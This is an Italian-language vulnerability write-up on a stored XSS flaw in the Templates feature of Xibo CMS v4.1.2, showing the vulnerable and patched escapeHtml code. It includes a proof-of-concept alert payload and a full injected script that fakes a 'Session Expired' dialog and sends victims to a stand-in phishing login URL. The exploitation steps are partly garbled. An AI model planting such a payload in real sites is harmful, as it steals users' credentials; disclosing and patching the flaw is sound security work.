
Stored Cross-Site Scripting (XSS) in Xibo CMS v4.1.2 di Xibo Signage, a causa della mancanza di una corretta validazione dell'input utente.
Ho scoperto una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato in Xibo CMS v4.1.2. Questa vulnerabilità permette a un attaccante autenticato di iniettare script dannosi nell'applicazione a causa di una validazione impropria dell'input fornito dall'utente.
Il problema risiede nella funzionalità 'Templates'. Un attaccante può creare un template contenente un elemento di testo con un payload dannoso. Quando questo template viene visualizzato da altri utenti, lo script viene eseguito nel loro browser, potenzialmente portando al furto di dati o ad altre azioni dannose.
Per sfruttare la vulnerabilità, un utente autenticato deve seguire questi passaggi:
<script>alert(1337)</script>).Questa sezione contiene lo snippet di codice specifico di Xibo CMS v4.1.2 che non sanifica l'input per il campo 'Testo'.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
In un'altra riga dello stesso documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
In un altro documento.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Questa sezione mostra il codice corretto, che include meccanismi appropriati di sanificazione dell'input e codifica dell'output per neutralizzare gli script dannosi.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
In un'altra riga dello stesso documento.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
In un altro documento.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Il payload memorizzato viene eseguito nel contesto del browser della vittima, che può essere sfruttato per rubare informazioni sensibili come le password.
1. Iniezione del Payload: L'attaccante inserisce lo script dannoso in un elemento di testo all'interno di un template.
Lo script che ho usato è il seguente:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Scenario di Attacco: Un attacco comune simula la scadenza della sessione per catturare le credenziali dell'utente. Lo script dirotta la pagina e presenta questo pop-up alla vittima.
Queste informazioni sono fornite solo a scopo educativo e di ricerca. NON sono responsabile per qualsiasi uso improprio o danno causato da queste informazioni.